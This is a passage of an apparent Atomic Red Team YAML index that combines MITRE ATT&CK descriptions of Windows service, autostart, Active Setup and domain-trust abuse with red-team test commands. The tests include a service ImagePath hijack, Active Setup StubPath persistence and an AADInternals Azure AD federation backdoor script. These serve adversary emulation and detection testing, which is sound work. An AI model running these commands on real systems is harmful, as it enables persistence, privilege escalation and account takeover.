        If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).

        Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the <code>FailureCommand</code> key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)

        The <code>Performance</code> key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the <code>Performance</code> key is not already present and if an adversary-controlled user has the <code>Create Subkey</code> permission, adversaries may create the <code>Performance</code> key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)

        Adversaries may also add the <code>Parameters</code> key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service’s file may be identified using <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\servicename\Parameters\ServiceDll</code>.(Citation: malware_hides_service)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_contributors:
      - Travis Smith, Tripwire
      - Matthew Demaske, Adaptforward
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

        Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.

        Monitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Service: Service Modification'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      x_mitre_defense_bypassed:
      - Application Control
      x_mitre_effective_permissions:
      - SYSTEM
      x_mitre_permissions_required:
      - Administrator
      - User
      type: attack-pattern
      id: attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c
      created: '2020-03-13T11:42:14.444Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1574/011
        external_id: T1574.011
      - source_name: Tweet Registry Perms Weakness
        description: "@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved
          April 9, 2018."
        url: https://twitter.com/r0wdy_/status/936365549553991680
      - source_name: insecure_reg_perms
        description: Clément Labro. (2020, November 12). Windows RpcEptMapper Service
          Insecure Registry Permissions EoP. Retrieved August 25, 2021.
        url: https://itm4n.github.io/windows-registry-rpceptmapper-eop/
      - source_name: Kansa Service related collectors
        description: 'Hull, D.. (2014, May 3). Kansa: Service related collectors and
          analysis. Retrieved October 10, 2019.'
        url: https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html
      - source_name: malware_hides_service
        description: Lawrence Abrams. (2004, September 10). How Malware hides and
          is installed as a Service. Retrieved August 30, 2021.
        url: https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/
      - source_name: Autoruns for Windows
        description: Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96.
          Retrieved March 13, 2020.
        url: https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
      - source_name: Registry Key Security
        description: Microsoft. (2018, May 31). Registry Key Security and Access Rights.
          Retrieved March 16, 2017.
        url: https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN
      - source_name: microsoft_services_registry_tree
        description: Microsoft. (2021, August 5). HKLM\SYSTEM\CurrentControlSet\Services
          Registry Tree. Retrieved August 25, 2021.
        url: https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree
      - source_name: troj_zegost
        description: Trend Micro. (2012, October 9). TROJ_ZEGOST. Retrieved September
          2, 2021.
        url: https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      spec_version: '2.1'
      identifier: T1574.011
    atomic_tests:
    - name: Service Registry Permissions Weakness
      auto_generated_guid: f7536d63-7fd4-466f-89da-7e48d550752a
      description: |
        Service registry permissions weakness check and then which can lead to privilege escalation with ImagePath. eg.
        reg add "HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name}" /f /v ImagePath /d "C:\temp\AtomicRedteam.exe"
      supported_platforms:
      - windows
      input_arguments:
        weak_service_name:
          description: weak service check
          type: string
          default: weakservicename
      executor:
        command: |
          get-acl REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\* |FL
          get-acl REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name} |FL
        name: powershell
    - name: Service ImagePath Change with reg.exe
      auto_generated_guid: f38e9eea-e1d7-4ba6-b716-584791963827
      description: 'Change Service registry ImagePath of a bengin service to a malicious
        file

        '
      supported_platforms:
      - windows
      input_arguments:
        weak_service_name:
          description: weak service name
          type: string
          default: calcservice
        weak_service_path:
          description: weak service path
          type: string
          default: "%windir%\\system32\\win32calc.exe"
        malicious_service_path:
          description: malicious service path
          type: string
          default: "%windir%\\system32\\cmd.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: 'The service must exist (#{weak_service_name})

          '
        prereq_command: 'if (Get-Service #{weak_service_name}) {exit 0} else {exit
          1}

          '
        get_prereq_command: 'sc.exe create #{weak_service_name} binpath= "#{weak_service_path}"

          '
      executor:
        command: 'reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name}"
          /f /v ImagePath /d "#{malicious_service_path}"

          '
        cleanup_command: 'sc.exe delete #{weak_service_name}

          '
        name: command_prompt
  T1547:
    technique:
      modified: '2024-04-16T12:26:07.945Z'
      name: Boot or Logon Autostart Execution
      description: |-
        Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.

        Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_deprecated: false
      x_mitre_detection: "Monitor for additions or modifications of mechanisms that
        could be used to trigger autostart execution, such as relevant additions to
        the Registry. Look for changes that are not correlated with known updates,
        patches, or other planned administrative activity. Tools such as Sysinternals
        Autoruns may also be used to detect system autostart configuration changes
        that could be attempts at persistence.(Citation: TechNet Autoruns)  Changes
        to some autostart configuration settings may happen under normal conditions
        when legitimate software is installed. \n\nSuspicious program execution as
        autostart programs may show up as outlier processes that have not been seen
        before when compared against historical data.To increase confidence of malicious
        activity, data and events should not be viewed in isolation, but as part of
        a chain of behavior that could lead to other activities, such as network connections
        made for Command and Control, learning details about the environment through
        Discovery, and Lateral Movement.\n\nMonitor DLL loads by processes, specifically
        looking for DLLs that are not recognized or not normally loaded into a process.
        Look for abnormal process behavior that may be due to a process loading a
        malicious DLL.\n\nMonitor for abnormal usage of utilities and command-line
        parameters involved in kernel modification or driver installation."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Module: Module Load'
      - 'Command: Command Execution'
      - 'File: File Creation'
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'File: File Modification'
      - 'Kernel: Kernel Module Load'
      - 'Process: Process Creation'
      - 'Driver: Driver Load'
      x_mitre_permissions_required:
      - User
      - Administrator
      - root
      type: attack-pattern
      id: attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf
      created: '2020-01-23T17:46:59.535Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1547
        external_id: T1547
      - source_name: Cylance Reg Persistence Sept 2013
        description: 'Langendorf, S. (2013, September 24). Windows Registry Persistence,
          Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.'
        url: https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order
      - source_name: MSDN Authentication Packages
        description: Microsoft. (n.d.). Authentication Packages. Retrieved March 1,
          2017.
        url: https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx
      - source_name: Microsoft Run Key
        description: Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November
          12, 2014.
        url: http://msdn.microsoft.com/en-us/library/aa376977
      - source_name: Microsoft TimeProvider
        description: Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.
        url: https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx
      - source_name: Linux Kernel Programming
        description: Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel
          Module Programming Guide. Retrieved April 6, 2018.
        url: https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf
      - source_name: TechNet Autoruns
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1547
    atomic_tests:
    - name: Add a driver
      auto_generated_guid: cb01b3da-b0e7-4e24-bf6d-de5223526785
      description: 'Install a driver via pnputil.exe lolbin

        '
      supported_platforms:
      - windows
      input_arguments:
        driver_inf:
          description: A built-in, already installed windows driver inf
          type: path
          default: C:\Windows\INF\usbstor.inf
      executor:
        command: 'pnputil.exe /add-driver "#{driver_inf}"

          '
        name: command_prompt
    - name: Driver Installation Using pnputil.exe
      auto_generated_guid: 5cb0b071-8a5a-412f-839d-116beb2ed9f7
      description: 'pnputil.exe is a native command-line utility in Windows to install
        drivers, this can be abused by to install malicious drivers. Ref: https://lolbas-project.github.io/lolbas/Binaries/Pnputil/

        '
      supported_platforms:
      - windows
      input_arguments:
        driver_path:
          description: Enter the driver file path to install (Default is used built-in
            windows driver - acpipmi.inf)
          type: path
          default: C:\Windows\INF\acpipmi.inf
      executor:
        command: 'pnputil.exe -i -a #{driver_path}

          '
        name: powershell
  T1547.014:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Active Setup
      description: |-
        Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.

        Adversaries may abuse Active Setup by creating a key under <code> HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\</code> and setting a malicious value for <code>StubPath</code>. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)

        Adversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Bencherchali Nasreddine, @nas_bench, ELIT Security Team (DSSD)
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor Registry key additions and/or modifications to <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\</code>.

        Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      x_mitre_permissions_required:
      - Administrator
      type: attack-pattern
      id: attack-pattern--22522668-ddf6-470b-a027-9d6866679f67
      created: '2020-12-18T16:33:13.098Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1547/014
        external_id: T1547.014
      - source_name: SECURELIST Bright Star 2015
        description: Baumgartner, K., Guerrero-Saade, J. (2015, March 4). Who’s Really
          Spreading through the Bright Star?. Retrieved December 18, 2020.
        url: https://securelist.com/whos-really-spreading-through-the-bright-star/68978/
      - source_name: Mandiant Glyer APT 2010
        description: Glyer, C. (2010). Examples of Recent APT Persistence Mechanism.
          Retrieved December 18, 2020.
        url: https://digital-forensics.sans.org/summit-archives/2010/35-glyer-apt-persistence-mechanisms.pdf
      - source_name: FireEye CFR Watering Hole 2012
        description: Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details.
          Retrieved December 18, 2020.
        url: https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html
      - source_name: Klein Active Setup 2010
        description: Klein, H. (2010, April 22). Active Setup Explained. Retrieved
          December 18, 2020.
        url: https://helgeklein.com/blog/2010/04/active-setup-explained/
      - source_name: paloalto Tropic Trooper 2016
        description: Ray, V., et al. (2016, November 22). Tropic Trooper Targets Taiwanese
          Government and Fossil Fuel Provider With Poison Ivy. Retrieved December
          18, 2020.
        url: https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/
      - source_name: TechNet Autoruns
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
      - source_name: Citizenlab Packrat 2015
        description: Scott-Railton, J., et al. (2015, December 8). Packrat. Retrieved
          December 18, 2020.
        url: https://citizenlab.ca/2015/12/packrat-report/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1547.014
    atomic_tests:
    - name: HKLM - Add atomic_test key to launch executable as part of user setup
      auto_generated_guid: deff4586-0517-49c2-981d-bbea24d48d71
      description: "This test will create an \"atomic_test\" key under 'HKLM:\\SOFTWARE\\Microsoft\\Active
        Setup\\Installed Components' to launch calc by configuring an active setup
        executable and \nforcing to run active setup using the \"runonce.exe /AlternateShellStartup\"
        command. \nWithout the \"runonce.exe /AlternateShellStartup\" command it would
        run during the next logon for each user.\n\nNote: If you logout before running
        the cleanup command, you will be required to go through the OOBE (out-of-box
        experience) setup sequence to log back in. \nThe payload will only run once
        unless the cleanup command is run in between tests.\n\n[Active Setup Explained](https://helgeklein.com/blog/active-setup-explained/)\n"
      supported_platforms:
      - windows
      input_arguments:
        payload:
          description: Payload to run once during login
          type: string
          default: C:\Windows\System32\calc.exe
      executor:
        command: "New-Item \"HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\"
          -Name \"atomic_test\" -Force\nSet-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Active
          Setup\\Installed Components\\atomic_test\" \"(Default)\" \"ART TEST\" -Force\nSet-ItemProperty
          \"HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\atomic_test\"
          \"StubPath\" \"#{payload}\" -Force \n& $env:SYSTEMROOT\\system32\\runonce.exe
          /AlternateShellStartup"
        cleanup_command: |-
          Remove-Item "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\atomic_test" -Force -ErrorAction Ignore
          Remove-Item "HKCU:\SOFTWARE\Microsoft\Active Setup\Installed Components\atomic_test" -Force -ErrorAction Ignore
        name: powershell
        elevation_required: true
    - name: HKLM - Add malicious StubPath value to existing Active Setup Entry
      auto_generated_guid: 39e417dd-4fed-4d9c-ae3a-ba433b4d0e9a
      description: "This test will add a StubPath entry to the Active Setup native
        registry key associated with 'Internet Explorer Core Fonts' (UUID {C9E9A340-D1F1-11D0-821E-444553540600})
        \nSaid key doesn't have a StubPath value by default, by adding one it will
        launch calc by forcing to run active setup using runonce.exe /AlternateShellStartup.
        \nWithout the last command it will normally run on next user logon. Note:
        this test will only run once successfully if no cleanup command is run in
        between test.\n"
      supported_platforms:
      - windows
      input_arguments:
        payload:
          description: Payload to run once during login
          type: string
          default: C:\Windows\System32\calc.exe
      executor:
        command: |-
          Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}" "StubPath" "#{payload}" -Force
          & $env:SYSTEMROOT\system32\runonce.exe /AlternateShellStartup
        cleanup_command: |-
          Remove-ItemProperty "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}" -Name "StubPath" -Force
          Remove-ItemProperty "HKCU:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}" -Name "Version" -Force
        name: powershell
        elevation_required: true
    - name: HKLM - re-execute 'Internet Explorer Core Fonts' StubPath payload by decreasing
        version number
      auto_generated_guid: 04d55cef-f283-40ba-ae2a-316bc3b5e78c
      description: "This test will decrease the version number of the 'Internet Explorer
        Core Fonts' (UUID {C9E9A340-D1F1-11D0-821E-444553540600}) registry key for
        the current user, \nwhich will force the StubPath payload (if set) to execute.\n"
      supported_platforms:
      - windows
      executor:
        command: |
          Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}" -Name "Version" -Value "0,0,0,0"
          & $env:SYSTEMROOT\system32\runonce.exe /AlternateShellStartup
        name: powershell
        elevation_required: true
  T1484.002:
    technique:
      modified: '2024-04-19T04:27:51.388Z'
      name: Domain Trust Modification
      description: "Adversaries may add new domain trusts, modify the properties of
        existing domain trusts, or otherwise change the configuration of trust relationships
        between domains and tenants to evade defenses and/or elevate privileges.Trust
        details, such as whether or not user identities are federated, allow authentication
        and authorization properties to apply between domains or tenants for the purpose
        of accessing shared resources.(Citation: Microsoft - Azure AD Federation)
        These trust objects may include accounts, credentials, and other authentication
        material applied to servers, tokens, and domains.\n\nManipulating these trusts
        may allow an adversary to escalate privileges and/or evade defenses by modifying
        settings to add objects which they control. For example, in Microsoft Active
        Directory (AD) environments, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002)
        without the need to compromise the signing certificate to forge new credentials.
        Instead, an adversary can manipulate domain trusts to add their own signing
        certificate. An adversary may also convert an AD domain to a federated domain
        using Active Directory Federation Services (AD FS), which may enable malicious
        trust modifications such as altering the claim issuance rules to log in any
        valid set of credentials as a specified user.(Citation: AADInternals zure
        AD Federated Domain) \n\nAn adversary may also add a new federated identity
        provider to an identity tenant such as Okta, which may enable the adversary
        to authenticate as any user of the tenant.(Citation: Okta Cross-Tenant Impersonation
        2023)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Blake Strom, Microsoft 365 Defender
      - Praetorian
      - Obsidian Security
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes <code>Set federation settings on domain</code> and <code>Set domain authentication</code>.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)

        Monitor for PowerShell commands such as: <code>Update-MSOLFederatedDomain –DomainName: "Federated Domain Name"</code>, or <code>Update-MSOLFederatedDomain –DomainName: "Federated Domain Name" –supportmultipledomain</code>.(Citation: Microsoft - Update or Repair Federated domain)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - Azure AD
      - SaaS
      x_mitre_version: '2.0'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Application Log: Application Log Content'
      - 'Active Directory: Active Directory Object Modification'
      - 'Active Directory: Active Directory Object Creation'
      x_mitre_permissions_required:
      - Administrator
      type: attack-pattern
      id: attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee
      created: '2020-12-28T21:59:02.181Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1484/002
        external_id: T1484.002
      - source_name: CISA SolarWinds Cloud Detection
        description: CISA. (2021, January 8). Detecting Post-Compromise Threat Activity
          in Microsoft Cloud Environments. Retrieved January 8, 2021.
        url: https://us-cert.cisa.gov/ncas/alerts/aa21-008a
      - source_name: AADInternals zure AD Federated Domain
        description: Dr. Nestori Syynimaa. (2017, November 16). Security vulnerability
          in Azure AD & Office 365 identity federation. Retrieved September 28, 2022.
        url: https://o365blog.com/post/federation-vulnerability/
      - source_name: Microsoft - Azure AD Federation
        description: Microsoft. (2018, November 28). What is federation with Azure
          AD?. Retrieved December 30, 2020.
        url: https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed
      - source_name: Microsoft - Azure Sentinel ADFSDomainTrustMods
        description: Microsoft. (2020, December). Azure Sentinel Detections. Retrieved
          December 30, 2020.
        url: https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml
      - source_name: Microsoft - Update or Repair Federated domain
        description: Microsoft. (2020, September 14). Update or repair the settings
          of a federated domain in Office 365, Azure, or Intune. Retrieved December
          30, 2020.
        url: https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365
      - source_name: Okta Cross-Tenant Impersonation 2023
        description: 'Okta Defensive Cyber Operations. (2023, August 31). Cross-Tenant
          Impersonation: Prevention and Detection. Retrieved February 15, 2024.'
        url: https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection
      - source_name: Sygnia Golden SAML
        description: Sygnia. (2020, December). Detection and Hunting of Golden SAML
          Attack. Retrieved January 6, 2021.
        url: https://www.sygnia.co/golden-saml-advisory
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1484.002
    atomic_tests:
    - name: Add Federation to Azure AD
      auto_generated_guid: 8906c5d0-3ee5-4f63-897a-f6cafd3fdbb7
      description: |
        Add a new federated domain to Azure AD using PowerShell.
        The malicious domain to be federated must be configured beforehand (outside of the scope of this test):
            1. Open Azure Portal
            2. Add a new "custom domain name"
            3. Verify the domain by following instructions (i.e. create the requested DNS record)
      supported_platforms:
      - azure-ad
      input_arguments:
        azure_username:
          description: Username of a privileged Azure AD account such as External
            Identity Provider Administrator or Global Administrator roles
          type: string
          default: bruce.wayne@contosocloud.com
        azure_password:
          description: Password of azure_username
          type: string
          default: iamthebatman
        domain_name:
          description: Malicious federated domain name
          type: string
          default: contoso.com
      dependency_executor_name: powershell
      dependencies:
      - description: 'AzureAD and AADInternals Powershell modules must be installed.

          '
        prereq_command: 'if ((Get-Module -ListAvailable -Name AzureAD) -And (Get-Module
          -ListAvailable -Name AADInternals)) {exit 0} else {exit 1}

          '
        get_prereq_command: |
          Install-Module -Name AzureAD -Force
          Install-Module -Name AADInternals -Force
      executor:
        command: |
          Import-Module AzureAD
          Import-Module AADInternals

          $PWord = ConvertTo-SecureString -String "#{azure_password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{azure_username}", $Pword

          try {
            Connect-AzureAD -Credential $Credential -ErrorAction Stop > $null
          }
          catch {
            Write-Host "Error: AzureAD could not connect"
            exit 1
          }

          try {
            $domain = Get-AzureADDomain -Name "#{domain_name}"
          }
          catch {
            Write-Host "Error: domain ""#{domain_name}"" not found"
            exit 1
          }
          if (-Not $domain.IsVerified) {
            Write-Host "Error: domain ""#{domain_name}"" not verified"
            exit 1
          }

          if ($domain.AuthenticationType -eq "Federated") {
            Write-Host "Error: domain ""#{domain_name}"" already federated. Try with a different domain or re-create it before."
            exit 1
          }

          $at = Get-AADIntAccessTokenForAADGraph -Credentials $Credential
          if (-Not $at) {
            Write-Host "Error: AADInternals could not connect"
            exit 1
          }

          $new = ConvertTo-AADIntBackdoor -AccessToken $at -DomainName "#{domain_name}"
          if ($new) {
            Write-Host "Federation successfully added to Azure AD"
            Write-Host $new
          }
          else {
            Write-Host "The federation setup failed"
          }

          Write-Host "End of federation configuration."
        cleanup_command: |
          try {
            Import-Module AzureAD -ErrorAction Ignore

            $PWord = ConvertTo-SecureString -String "#{azure_password}" -AsPlainText -Force
            $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{azure_username}", $Pword
            Connect-AzureAD -Credential $Credential -ErrorAction Ignore > $null

            Remove-AzureADDomain -Name "#{domain_name}" -ErrorAction Ignore
          } catch {}
        name: powershell
  T1543.003:
    technique:
      modified: '2024-04-11T19:25:51.394Z'
      name: 'Create or Modify System Process: Windows Service'
      description: "Adversaries may create or modify Windows services to repeatedly
        execute malicious payloads as part of persistence. When Windows boots up,
        it starts programs or applications called services that perform background
        system functions.(Citation: TechNet Services) Windows service configuration
        information, including the file path to the service's executable or recovery
        programs/commands, is stored in the Windows Registry.\n\nAdversaries may install
        a new service or modify an existing service to execute at startup in order
        to persist on a system. Service configurations can be set or modified using
        system utilities (such as sc.exe), by directly modifying the Registry, or
        by interacting directly with the Windows API. \n\nAdversaries may also use
        services to install and execute malicious drivers. For example, after dropping
        a driver file (ex: `.sys`) to disk, the payload can be loaded and registered
        via [Native API](https://attack.mitre.org/techniques/T1106) functions such
        as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()`
        and `ZwSetValueKey()`), by creating the required service Registry values (i.e.
        [Modify Registry](https://attack.mitre.org/techniques/T1112)), or by using
        command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet
        Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42
        AcidBox June 2020) Adversaries may leverage these drivers as [Rootkit](https://attack.mitre.org/techniques/T1014)s
        to hide the presence of malicious activity on a system. Adversaries may also
        load a signed yet vulnerable driver onto a compromised machine (known as \"Bring
        Your Own Vulnerable Driver\" (BYOVD)) as part of [Exploitation for Privilege
        Escalation](https://attack.mitre.org/techniques/T1068).(Citation: ESET InvisiMole
        June 2020)(Citation: Unit42 AcidBox June 2020)\n\nServices may be created
        with administrator privileges but are executed under SYSTEM privileges, so
        an adversary may also use a service to escalate privileges. Adversaries may
        also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002).\n\nTo
        make detection analysis more challenging, malicious services may also incorporate
        [Masquerade Task or Service](https://attack.mitre.org/techniques/T1036/004)
        (ex: using a service and/or payload name related to a legitimate OS or benign
        software component). Adversaries may also create ‘hidden’ services (i.e.,
        [Hide Artifacts](https://attack.mitre.org/techniques/T1564)), for example
        by using the `sc sdset` command to set service permissions via the Service
        Descriptor Definition Language (SDDL). This may hide a Windows service from
        the view of standard service enumeration methods such as `Get-Service`, `sc
        query`, and `services.exe`.(Citation: SANS 1)(Citation: SANS 2)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Matthew Demaske, Adaptforward
      - Pedro Harrison
      - Mayuresh Dani, Qualys
      - Wietze Beukema, @wietze
      - Akshat Pradhan, Qualys
      - Wirapong Petshagun
      x_mitre_deprecated: false
